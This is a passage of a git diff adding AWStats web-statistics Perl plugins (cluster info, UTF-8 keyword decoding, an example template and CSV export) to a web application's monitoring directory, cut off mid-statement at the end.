REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.2"; +my $PluginHooksFunctions="ShowInfoCluster"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$clusterinfoloaded +%ClusterInfo +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_clusterinfo { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin clusterinfo: InitParams=$InitParams",1); + $clusterinfoloaded=0; + %ClusterInfo=(); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoCluster_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to Cluster report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell</TD>"; +# Parameters: Cluster number +#----------------------------------------------------------------------------- +sub ShowInfoCluster_clusterinfo { + my $param="$_[0]"; + # <----- + my $filetoload=''; + if ($param && $param ne '__title__' && ! $clusterinfoloaded) { + # Load clusterinfo file + if ($SiteConfig && open(CLUSTERINFOFILE,"$DirData/clusterinfo.$SiteConfig.txt")) { $filetoload="$DirData/clusterinfo.$SiteConfig.txt"; } + elsif (open(CLUSTERINFOFILE,"$DirData/clusterinfo.txt")) { $filetoload="$DirData/clusterinfo.txt"; } + else { error("Couldn't open ClusterInfo file \"$DirData/clusterinfo.txt\": $!"); } + # This is the fastest way to load with regexp that I know + %ClusterInfo = map(/^([^\s]+)\s+(.+)/o,<CLUSTERINFOFILE>); + close CLUSTERINFOFILE; + debug(" Plugin clusterinfo: ClusterInfo file loaded: ".(scalar keys %ClusterInfo)." entries found."); + $clusterinfoloaded=1; + } + if ($param eq '__title__') { + print "<th>$Message[114]</th>"; + } + elsif ($param) { + print "<td class=\"aws\">"; + if ($ClusterInfo{$param}) { print "$ClusterInfo{$param}"; } + else { print " "; } # Undefined cluster info + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/decodeutfkeys.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/decodeutfkeys.pm new file mode 100644 index 0000000..12eadab --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/decodeutfkeys.pm @@ -0,0 +1,76 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# decodeUTFKeys AWStats plugin +# Allow AWStats to convert keywords strings coded by some search engines in +# UTF8 coding to a common string in a local charset. +#----------------------------------------------------------------------------- +# Perl Required Modules: Encode and URI::Escape +#----------------------------------------------------------------------------- +# $Revision: 1.4 $ - $Author: eldy $ - $Date: 2004/08/14 14:49:09 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +if (!eval ('require "Encode.pm"')) { return $@?"Error: $@":"Error: Need Perl module Encode"; } +if (!eval ('require "URI/Escape.pm"')) { return $@?"Error: $@":"Error: Need Perl module URI::Escape"; } +#if (!eval ('require "HTML/Entities.pm"')) { return $@?"Error: $@":"Error: Need Perl module HTML::Entities"; } +# -----> +use strict;no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.0"; +my $PluginHooksFunctions="DecodeKey"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_decodeutfkeys { + my $InitParams=shift; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + # -----> + + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#------------------------------------------------------------------------------ +# Function: Converts an UTF8 string to specified Charset +# Parameters: utfstringtodecode charsettoencode +# Return: newencodedstring +#------------------------------------------------------------------------------ +sub DecodeKey_decodeutfkeys { + my $string = shift; + my $encoding = shift; + if (! $encoding) { error("Function DecodeKey from plugin decodeutfkeys was called but AWStats don't know language code required to output new value."); } + $string =~ s/\\x(\w\w)/%$1/gi; # Change "\xc4\xbe\xd7\xd3\xc3\xc0" into "%c4%be%d7%d3%c3%c0" + $string=URI::Escape::uri_unescape($string); + if ( $string =~ m/^(?:[\x00-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xef][\x80-\xbf][\x80-\xbf]|\xf0[\x90-\xbf][\x80-\xbf][\x80-\xbf]|[\xf1-\xf7][\x80-\xbf][\x80-\xbf][\x80-\xbf])*$/ ) + { + $string=Encode::encode($encoding, Encode::decode("utf-8", $string)); + } + #$string=HTML::Entities::encode_entities($string); + $string =~ s/[;+]/ /g; + return $string; +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/example/example.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/example/example.pm new file mode 100644 index 0000000..84790f5 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/example/example.pm @@ -0,0 +1,327 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# Example AWStats plugin +# <----- +# THIS IS A SAMPLE OF AN EMPTY PLUGIN FILE WITH INSTRUCTIONS TO HELP YOU TO +# WRITE YOUR OWN WORKING PLUGIN. REPLACE THIS SENTENCE WITH THE PLUGIN GOAL. +# NOTE THAT A PLUGIN FILE example.pm MUST BE IN LOWER CASE. +# -----> +#----------------------------------------------------------------------------- +# Perl Required Modules: Put here list of all required plugins +#----------------------------------------------------------------------------- +# $Revision: 1.16 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +#if (!eval ('require "TheModule.pm";')) { return $@?"Error: $@":"Error: Need Perl module TheModule"; } +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +# EACH POSSIBLE FUNCTION AND GOAL ARE DESCRIBED LATER. +my $PluginNeedAWStatsVersion="6.7"; +my $PluginHooksFunctions="xxx"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$PluginVariable1 +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_example { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" InitParams=$InitParams",1); + $PluginVariable1=""; + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +# HERE ARE ALL POSSIBLE HOOK FUNCTIONS. YOU MUST CHANGE THE NAME OF THE +# FUNCTION xxx_example INTO xxx_pluginname (pluginname in lower case). +# NOTE THAT IN PLUGINS' FUNCTIONS, YOU CAN USE ANY AWSTATS GLOBAL VARIALES. + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLStyles_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML styles at beginning of BODY section. +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLStyles_example { + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLBodyHeader_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code at beginning of BODY section (top of page). +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLBodyHeader_example { + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLBodyFooter_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code at end of BODY section (bottom of page). +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLBodyFooter_example { + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuHeader_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code just before the menu section +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLMenuHeader_example { + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuFooter_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code just after the menu section +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLMenuFooter_example { + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLContentHeader_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code just before the first report +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLContentHeader_example { + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNTION: BuildFullHTMLOutput_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to output an HTML page completely built by plugin instead +# of AWStats output +#----------------------------------------------------------------------------- +sub BuildFullHTMLOutput_example { + # <----- + print "This is an output for plugin example<br />\n"; + return 1; + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_example { + my $param="$_[0]"; + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowPagesAddField_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function used to add additionnal columns to the Top Pages-URL report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: URL +#----------------------------------------------------------------------------- +sub ShowPagesAddField_example { + my $param="$_[0]"; + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoURL_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal information for URLs in URLs' report. +# This function is called after writing the URL value in the URL cell of the +# Top Pages-URL report. +# Parameters: URL +#----------------------------------------------------------------------------- +sub ShowInfoURL_example { + my $param="$_[0]"; + # <----- + # PERL CODE HERE + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoUser_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to Authenticated users report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: User +#----------------------------------------------------------------------------- +sub ShowInfoUser_example { + my $param="$_[0]"; + # <----- + # PERL CODE HERE + # -----> +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionInitHashArray_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionInitHashArray_example { + # <----- + if ($Debug) { debug(" Plugin example: Init_HashArray"); } + %_myarray_p = %_myarray_h = %_myarray_k = %_myarray_l = (); + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessIP_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessIp_example { + my $param="$_[0]"; # Param is IP of record + # <----- + # PERL CODE HERE + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessHostname_example { + my $param="$_[0]"; # Param is hostname of record + # <----- + # PERL CODE HERE + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionReadHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionReadHistory_example { + my $issectiontoload=shift; + my $xmlold=shift; + my $xmleb=shift; + my $countlines=shift; + # <----- +# if ($Debug) { debug(" Plugin example: Begin of PLUGIN_example section"); } +# my @field=(); +# my $count=0;my $countloaded=0; +# do { +# if ($field[0]) { +# $count++; +# if ($issectiontoload) { +# $countloaded++; +# if ($field[1]) { $_myarray_p{$field[0]}+=$field[1]; } +# if ($field[2]) { $_myarray_h{$field[0]}+=$field[2]; } +# if ($field[3]) { $_myarray_k{$field[0]}+=$field[3]; } +# if ($field[4]) { $_myarray_l{$field[0]}+=$field[4]; } +# } +# } +# $_=<HISTORY>; +# chomp $_; s/\r//; +# @field=split(/\s+/,($xmlold?XMLDecodeFromHisto($_):$_)); +# $countlines++; +# } +# until ($field[0] eq 'END_PLUGIN_example' || $field[0] eq "${xmleb}END_PLUGIN_example" || ! $_); +# if ($field[0] ne 'END_PLUGIN_example' && $field[0] ne "${xmleb}END_PLUGIN_example") { error("History file is corrupted (End of section PLUGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); } +# if ($Debug) { debug(" Plugin example: End of PLUGIN_example section ($count entries, $countloaded loaded)"); } + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionWriteHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionWriteHistory_example { + my ($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=(shift,shift,shift,shift,shift,shift,shift,shift,shift); + if ($Debug) { debug(" Plugin example: SectionWriteHistory_example start - ".(scalar keys %_myarray_h)); } + # <----- +# print HISTORYTMP "\n"; +# if ($xml) { print HISTORYTMP "<section id='plugin_example'><sortfor>$MAXNBOFSECTIONGIR</sortfor><comment>\n"; } +# print HISTORYTMP "# Plugin key - Pages - Hits - Bandwidth - Last access\n"; +# $ValueInFile{'plugin_example'}=tell HISTORYTMP; +# print HISTORYTMP "${xmlbb}BEGIN_PLUGIN_example${xmlbs}".(scalar keys %_myarray_h)."${xmlbe}\n"; +# &BuildKeyList($MAXNBOFSECTIONGIR,1,\%_myarray_h,\%_myarray_h); +# my %keysinkeylist=(); +# foreach (@keylist) { +# $keysinkeylist{$_}=1; +# my $page=$_myarray_p{$_}||0; +# my $bytes=$_myarray_k{$_}||0; +# my $lastaccess=$_myarray_l{$_}||''; +# print HISTORYTMP "${xmlrb}$_${xmlrs}", $_myarray_p{$_}, "${xmlrs}", $_myarray_h{$_}, "${xmlrs}", $_myarray_k{$_}, "${xmlrs}", $_myarray_l{$_}, "${xmlre}\n"; next; +# } +# foreach (keys %_myarray_h) { +# if ($keysinkeylist{$_}) { next; } +# my $page=$_myarray_p{$_}||0; +# my $bytes=$_myarray_k{$_}||0; +# my $lastaccess=$_myarray_l{$_}||''; +# print HISTORYTMP "${xmlrb}$_${xmlrs}", $_myarray_p{$_}, "${xmlrs}", $_myarray_h{$_}, "${xmlrs}", $_myarray_k{$_}, "${xmlrs}", $_myarray_l{$_}, "${xmlre}\n"; next; +# } +# print HISTORYTMP "${xmleb}END_PLUGIN_example${xmlee}\n"; + # -----> + return 0; +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/export_to_csv.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/export_to_csv.pm new file mode 100644 index 0000000..bb196ae --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/export_to_csv.pm @@ -0,0 +1 @@ +#!/usr/bin/perl #----------------------------------------------------------------------------- # Export To CSV AWStats plugin # This plugin adds export to csv functionality for different stats data # # Copyright (c) 2005 Pim Snel for Lingewoud B.V. # This AWStats plugin is a free software distributed under the GNU General # Public License. #----------------------------------------------------------------------------- # Perl Required Modules: None #----------------------------------------------------------------------------- # This plugin does not work when Tooltips are loaded or any other plugin that # uses the debug function. # # TODO # 1. make all year work # 2. add more export types # 3. cleanup code # 4. fix htmlentities? # # $Id: export_to_csv.pm,v 1.1 2008/11/15 15:14:06 eldy Exp $ # <----- # ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES. # -----> use strict;no strict "refs"; use HTML::Entities; #----------------------------------------------------------------------------- # PLUGIN VARIABLES #----------------------------------------------------------------------------- # <----- # ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN # AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. my $PluginNeedAWStatsVersion="6.9"; my $PluginHooksFunctions="BuildFullHTMLOutput TabHeadHTML"; # -----> # <----- # IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. use vars qw/ $fld_termd $fld_enclosed $fld_escaped $ln_termd $MAXLINE $max_v $max_p $max_h $max_k $total_u $total_v $total_p $total_h $total_k $average_nb $average_u $average_v $average_p $average_h $average_k $total_e $total_x $rest_p $rest_e $rest_k $rest_x $firstdaytoshowtime $lastdaytoshowtime $firstdaytocountaverage $lastdaytocountaverage /; # -----> $fld_termd=','; $fld_enclosed='"'; $fld_escaped='\\'; $ln_termd="\n"; #----------------------------------------------------------------------------- # PLUGIN FUNCTION: Init_pluginname #----------------------------------------------------------------------------- sub Init_export_to_csv { my $InitParams=shift; my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); #$EXPORTCSVON=1; if ($QueryString =~ /exportcsv=([^&]+)/i) { print "Content-type: application/csv\n"; print "Content-disposition: attachment; filename=filex.csv\n"; print "\n"; $HeaderHTTPSent=1; %HTMLOutput=(); $NOHTML=1; } return ($checkversion?$checkversion:"$PluginHooksFunctions"); } #----------------------------------------------------------------------------- # PLUGIN FUNTION: AddHTMLBodyHeader_pluginname # UNIQUE: NO (Several plugins using this function can be loaded) # Function called to Add HTML code at beginning of BODY section. #----------------------------------------------------------------------------- sub AddHTMLBodyHeader_export_to_csv { return 1; } #----------------------------------------------------------------------------- # PLUGIN FUNTION: BuildFullHTMLOutput_pluginname # UNIQUE: NO (Several plugins using this function can be loaded) # Function called to output an HTML page completely built by plugin instead # of AWStats output #----------------------------------------------------------------------------- sub BuildFullHTMLOutput_export_to_csv { if ($QueryString =~ /exportcsv=([^&]+)/i) { my $exportaction=$1; #FIXME this must be done by awstats.pl %MonthNumLib = ("01","$Message[60]","02","$Message[61]","03","$Message[62]","04","$Message[63]","05","$Message[64]","06","$Message[65]","07","$Message[66]","08","$Message[67]","09","$Message[68]","10","$Message[69]","11","$Message[70]","12","$Message[71]"); # Check year and month parameters if ($QueryString =~ /(^|&)month=(year)/i) { error("month=year is a deprecated option. Use month=all instead."); } if ($QueryString =~ /(^|&)year=(\d\d\d\d)/i) { $YearRequired=sprintf("%04d",$2); } else { $YearRequired="$nowyear"; } if ($QueryString =~ /(^|&)month=(\d{1,2})/i) { $MonthRequired=sprintf("%02d",$2); } elsif ($QueryString =~ /(^|&)month=(all)/i) { $MonthRequired='all'; } else { $MonthRequired="$nowmonth"; } if($exportaction eq 'monthhistory') { &CSVmonths(); } elsif($exportaction eq 'pageurl') { &CSVpageurl(); } elsif($exportaction eq 'monthdays') { &CSVmonthdays(); } return 1; } } sub CSVmonthdays { &Read_History_With_TmpUpdate($YearRequired,$MonthRequired,0,0,"day"); # Read full history file # # Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime my $firstdaytocountaverage=$nowyear.$nowmonth."01"; # Set day cursor to 1st day of month my $firstdaytoshowtime=$nowyear.$nowmonth."01"; # Set day cursor to 1st day of month my $lastdaytocountaverage=$nowyear.$nowmonth.$nowday; # Set day cursor to today my $lastdaytoshowtime=$nowyear.$nowmonth."31"; # Set day cursor to last day of month if ($MonthRequired eq 'all') { $firstdaytocountaverage=$YearRequired."0101"; # Set day cursor to 1st day of the required year } if (($MonthRequired ne $nowmonth && $MonthRequired ne 'all') || $YearRequired ne $nowyear) { if ($MonthRequired eq 'all') { $firstdaytocountaverage=$YearRequired."0101"; # Set day cursor to 1st day of the required year $firstdaytoshowtime=$YearRequired."1201"; # Set day cursor to 1st day of last month of required year $lastdaytocountaverage=$YearRequired."1231"; # Set day cursor to last day of the required year $lastdaytoshowtime=$YearRequired."1231"; # Set day cursor to last day of last month of required year } else { $firstdaytocountaverage=$YearRequired.$MonthRequired."01"; # Set day cursor to 1st day of the required month $firstdaytoshowtime=$YearRequired.$MonthRequired."01"; # Set day cursor to 1st day of the required month $lastdaytocountaverage=$YearRequired.$MonthRequired."31"; # Set day cursor to last day of the required month $lastdaytoshowtime=$YearRequired.$MonthRequired."31"; # Set day cursor to last day of the required month } } # BY DAY OF MONTH #--------------------------------------------------------------------- if ($Debug) { debug("ShowDaysOfMonthStats",2); } my $title="$Message[138]"; $average_nb=$average_u=$average_v=$average_p=$average_h=$average_k=0; $total_u=$total_v=$total_p=$total_h=$total_k=0; # Define total and max $max_v=$max_h=$max_k=0; # Start from 0 because can be lower than 1 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year=$1; my $month=$2; my $day=$3; if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next $total_v+=$DayVisits{$year.$month.$day}||0; $total_p+=$DayPages{$year.$month.$day}||0; $total_h+=$DayHits{$year.$month.$day}||0; $total_k+=$DayBytes{$year.$month.$day}||0; if (($DayVisits{$year.$month.$day}||0) > $max_v) { $max_v=$DayVisits{$year.$month.$day}; } #if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; } if (($DayHits{$year.$month.$day}||0) > $max_h) { $max_h=$DayHits{$year.$month.$day}; } if (($DayBytes{$year.$month.$day}||0) > $max_k) { $max_k=$DayBytes{$year.$month.$day}; } } # Define average foreach my $daycursor ($firstdaytocountaverage..$lastdaytocountaverage) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year=$1; my $month=$2; my $day=$3; if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next $average_nb++; # Increase number of day used to count $average_v+=($DayVisits{$daycursor}||0); $average_p+=($DayPages{$daycursor}||0); $average_h+=($DayHits{$daycursor}||0); $average_k+=($DayBytes{$daycursor}||0); } if ($average_nb) { $average_v=$average_v/$average_nb; $average_p=$average_p/$average_nb; $average_h=$average_h/$average_nb; $average_k=$average_k/$average_nb; if ($average_v > $max_v) { $max_v=$average_v; } #if ($average_p > $max_p) { $max_p=$average_p; } if ($average_h > $max_h) { $max_h=$average_h; } if ($average_k > $max_k) { $max_k=$average_k; } } else { $average_v="?"; $average_p="?"; $average_h="?"; $average_k="?"; } # # Show data array for days print "$Message[4]"; print $fld_termd; if ($ShowDaysOfMonthStats =~ /V/i) { print decode_entities($Message[10]); } print $fld_termd; if ($ShowDaysOfMonthStats =~ /P/i) { print decode_entities($Message[56]); } print $fld_termd; if ($ShowDaysOfMonthStats =~ /H/i) { print decode_entities($Message[57]); } print $fld_termd; if ($ShowDaysOfMonthStats =~ /B/i) { print decode_entities($Message[75]); } print $ln_termd; foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year=$1; my $month=$2; my $day=$3; if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next my $dayofweekcursor=DayOfWeek($day,$month,$year); print "".(! $StaticLinks && $day==$nowday && $month==$nowmonth && $year==$nowyear?'':''); print Format_Date("$year$month$day"."000000",2); print (! $StaticLinks && $day==$nowday && $month==$nowmonth && $year==$nowyear?'':''); print ""; print $fld_termd; if ($ShowDaysOfMonthStats =~ /V/i) { print "",$DayVisits{$year.$month.$day}?$DayVisits{$year.$month.$day}:"0",""; } print $fld_termd; if ($ShowDaysOfMonthStats =~ /P/i) { print "",$DayPages{$year.$month.$day}?$DayPages{$year.$month.$day}:"0",""; } print $fld_termd; if ($ShowDaysOfMonthStats =~ /H/i) { print "",$DayHits{$year.$month.$day}?$DayHits{$year.$month.$day}:"0",""; } print $fld_termd; if ($ShowDaysOfMonthStats =~ /B/i) { print "",Format_Bytes(int($DayBytes{$year.$month.$day}||0)),""; } print $ln_termd; } # # Average row # print "<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>"; # if ($ShowDaysOfMonthStats =~ /V/i) { print "<td>$average_v</td>"; } # if ($ShowDaysOfMonthStats =~ /P/i) { print "<td>$average_p</td>"; } # if ($ShowDaysOfMonthStats =~ /H/i) { print "<td>$average_h</td>"; } # if ($ShowDaysOfMonthStats =~ /B/i) { print "<td>$average_k</td>"; } # print "</tr>\n"; # # Total row # print "<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>"; # if ($ShowDaysOfMonthStats =~ /V/i) { print "<td>$total_v</td>"; } # if ($ShowDaysOfMonthStats =~ /P/i) { print "<td>$total_p</td>"; } # if ($ShowDaysOfMonthStats =~ /H/i) { print "<td>$total_h</td>"; } # if ($ShowDaysOfMonthStats =~ /B/i) { print "<td>".Format_Bytes($total_k)."</td>"; } # print "</tr>\n"; # print "</table>\n<br />"; } sub CSVpageurl { # for (my $ix=12; $ix>=1; $ix--) { # my $monthix=sprintf("%02s",$ix); # if ($MonthRequired eq 'all' || $monthix eq $MonthRequired) { # &Read_History_With_TmpUpdate($YearRequired,$monthix,0,0,"all"); # Read full history file # #&Read_History_With_TmpUpdate($YearRequired,$monthix,0,0,"general time"); # Read full history file # # print "a"; # #print $YearRequired; # #print $monthix; # } # elsif (($HTMLOutput{'main'} && $ShowMonthStats) || $HTMLOutput{'alldays'}) { # &Read_History_With_TmpUpdate($YearRequired,$monthix,0,0,"all"); # Read general and time sections. # print "b"; # } # } &Read_History_With_TmpUpdate($YearRequired,$MonthRequired,0,0,"sider"); # Read full history file my $title=''; my $cpt=0; $title=$Message[19]; $cpt=(scalar keys %_url_p); print "$Message[102]: $cpt $Message[28]"; print $fld_termd; if ($ShowPagesStats =~ /P/i) { print decode_entities($Message[29]); } print $fld_termd; if ($ShowPagesStats =~ /B/i) { print decode_entities($Message[106]); } print $fld_termd; if ($ShowPagesStats =~ /E/i) { print decode_entities($Message[104]); } print $fld_termd; if ($ShowPagesStats =~ /X/i) { print decode_entities($Message[116]); } print $fld_termd; print $ln_termd; $total_p=$total_k=$total_e=$total_x=0; my $count=0; &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'File'},\%_url_p,\%_url_p); $max_p=1; $max_k=1; foreach my $key (@keylist) { if ($_url_p{$key} > $max_p) { $max_p = $_url_p{$key}; } if ($_url_k{$key}/($_url_p{$key}||1) > $max_k) { $max_k = $_url_k{$key}/($_url_p{$key}||1); } } foreach my $key (@keylist) { print $key; print $fld_termd; my $bredde_p=0; my $bredde_e=0; my $bredde_x=0; my $bredde_k=0; if ($max_p > 0) { $bredde_p=int($BarWidth*($_url_p{$key}||0)/$max_p)+1; } if (($bredde_p==1) && $_url_p{$key}) { $bredde_p=2; } if ($max_p > 0) { $bredde_e=int($BarWidth*($_url_e{$key}||0)/$max_p)+1; } if (($bredde_e==1) && $_url_e{$key}) { $bredde_e=2; } if ($max_p > 0) { $bredde_x=int($BarWidth*($_url_x{$key}||0)/$max_p)+1; } if (($bredde_x==1) && $_url_x{$key}) { $bredde_x=2; } if ($max_k > 0) { $bredde_k=int($BarWidth*(($_url_k{$key}||0)/($_url_p{$key}||1))/$max_k)+1; } if (($bredde_k==1) && $_url_k{$key}) { $bredde_k=2; } if ($ShowPagesStats =~ /P/i) { print "$_url_p{$key}"; } print $fld_termd; if ($ShowPagesStats =~ /B/i) { print "".($_url_k{$key}?Format_Bytes($_url_k{$key}/($_url_p{$key}||1)):" ").""; } print $fld_termd; if ($ShowPagesStats =~ /E/i) { print "".($_url_e{$key}?$_url_e{$key}:" ").""; } print $fld_termd; if ($ShowPagesStats =~ /X/i) { print "".($_url_x{$key}?$_url_x{$key}:" ").""; } print $fld_termd; $total_p += $_url_p{$key}; $total_e += $_url_e{$key}; $total_x += $_url_x{$key}; $total_k += $_url_k{$key}; $count++; print $ln_termd; } $rest_p=$TotalPages-$total_p; $rest_k=$TotalBytesPages-$total_k; $rest_e=$TotalEntries-$total_e; $rest_x=$TotalExits-$total_x; if ($rest_p > 0 || $rest_e > 0 || $rest_k > 0) { print "$Message[2]"; print $fld_termd; if ($ShowPagesStats =~ /P/i) { print "".($rest_p?$rest_p:" ").""; } print $fld_termd; if ($ShowPagesStats =~ /B/i) { print 